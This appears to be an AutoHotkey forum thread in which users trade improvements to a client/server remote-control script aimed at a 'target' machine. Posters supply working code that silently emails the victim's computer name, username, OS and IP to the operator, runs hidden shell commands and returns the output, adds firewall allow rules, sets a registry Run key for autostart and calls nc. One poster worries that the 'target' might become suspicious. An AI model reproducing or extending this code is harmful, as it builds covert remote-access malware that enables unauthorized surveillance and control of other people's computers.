7 replies to this topic

[Armisius]

 

[SnowFlake_FlowSnake]

Wow what a script!

 

Thanks Jonathan

 

I'm really really happy that you shared this!

 

Do you mind if i modify your scripts to be in my scripts?

 

http://www.autohotke...hen-uploads-it/

http://www.autohotke...ahk-script-php/

 

I will give you credits if needed and i 25$ if you want PayPal or what ever you use

thanks!

 

also could you please compile the Server and Client into 2 files?

 

fixed error in server.ahk line 151

 

 

from : 

Menu, tooltip, Your Ip Is: %ip%

to: 

tooltip, Your Ip Is:  %ip%

[Armisius]

Oh thanks, thats an old server client, I'll upload new ones, you can use them, I'll be posting a Donations button if someone wish to colaborate

[SnowFlake_FlowSnake]

"-whenever the server opens, send a email (with ip adress) to a custom email, so you know what ip adress have the target."
 
This works

pmsg := ComObjCreate("CDO.Message")
pmsg.From := "YourEmail@gmail.com"
pmsg.To := "YourEmail@gmail.com"
pmsg.BCC := ""   ; Blind Carbon Copy, Invisable for all, same syntax as CC
pmsg.CC := ""
pmsg.Subject := "tester " TimeX
pmsg.TextBody   :=  " Email test""`n`nComputer Name:  " A_ComputerName  "`nOS:  " A_OSVersion  "`nUsername:  " A_Username  "`nIP:  " A_IPAddress1 ""
var := A_ScriptDir
SPVvar :=  " "
sAttach = %SPVvar%
; can add multiple attachments, the delimiter is |
fields := Object()
fields.smtpserver   := "smtp.gmail.com" ; specify your SMTP server
fields.smtpserverport     := 465 ; 25
fields.smtpusessl      := True ; False
fields.sendusing     := 2   ; cdoSendUsingPort
fields.smtpauthenticate     := 1   ; cdoBasic
fields.sendusername := "YourEmail@gmail.com"
fields.sendpassword := "password"
fields.smtpconnectiontimeout := 60
schema := "http://schemas.microsoft.com/cdo/configuration/"
pfld :=   pmsg.Configuration.Fields
For field,value in fields
pfld.Item(schema . field) := value
pfld.Update()
 
Loop, Parse, sAttach, |, %A_Space%%A_Tab%
pmsg.AddAttachment(A_LoopField)
 
pmsg.Send()
Sleep, 300
 MsgBox Email Sent
 ExitApp
 return

 
also you can do this instead of making a text file every time, it should work:
 
Original:

filedelete, c:\temp.txt
    runwait, %comspec% /c %command2%>c:\temp.txt,,hide
    FileRead, r, c:\temp.txt
    FileDelete, c:\temp.txt
    msgbox, %r%
    temp := "GOT_CMDRESPONSE_"r
    this.sendtext(temp)
    return

to:

Cmd("ipconfig") ; calling of CMD that function


Cmd(com){ ; CMD Function
Runwait %comspec% /c %Com% | clip,,hide
ClipWait,2
temp = %clipboard%
; temp := "GOT_CMDRESPONSE_"temp
msgbox, %temp%
this.sendtext(temp)
return temp
}

Also this is good to have i think:

RunWait, cmd /c netsh advfirewall firewall add rule name="AHkServer" dir=in action=allow program="%A_ScriptFullPath%" enable=yes          ; Allouse Server to not be disrupted by the Firewall
RunWait, cmd /c netsh advfirewall firewall add rule name="AHkServer" dir=in action=allow protocol=TCP localport=465                                        ; Opens Port 465 in the Firewall.
RegWrite, REG_SZ, HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Run, autostart_Server, "%A_ScriptFullPath%"  ; autostarts the server

this is your local IP adress, make it use the one from the edit box instead:

from:

run, %comspec% /c %A_workingdir%\nc -v 192.168.5.15 80 > %A_workingdir%\%filename%.bmp,,hide

to:

run, %comspec% /c %A_workingdir%\nc -v %ipadress% > %A_workingdir%\%filename%.bmp,,hide

[Armisius]

Okey thanks, I'll be adding this, just wait for it

[Armisius]

to:

Cmd("ipconfig") ; calling of CMD that function


Cmd(com){ ; CMD Function
Runwait %comspec% /c %Com% | clip,,hide
ClipWait,2
temp = %clipboard%
; temp := "GOT_CMDRESPONSE_"temp
msgbox, %temp%
this.sendtext(temp)
return temp
}

But that ****s up the target clipboard, we dont want to the target suspects

[fooztr]

Please share the code with me :-)

[zhuhaiping]

this is your local IP adress, make it use the one from the edit box instead: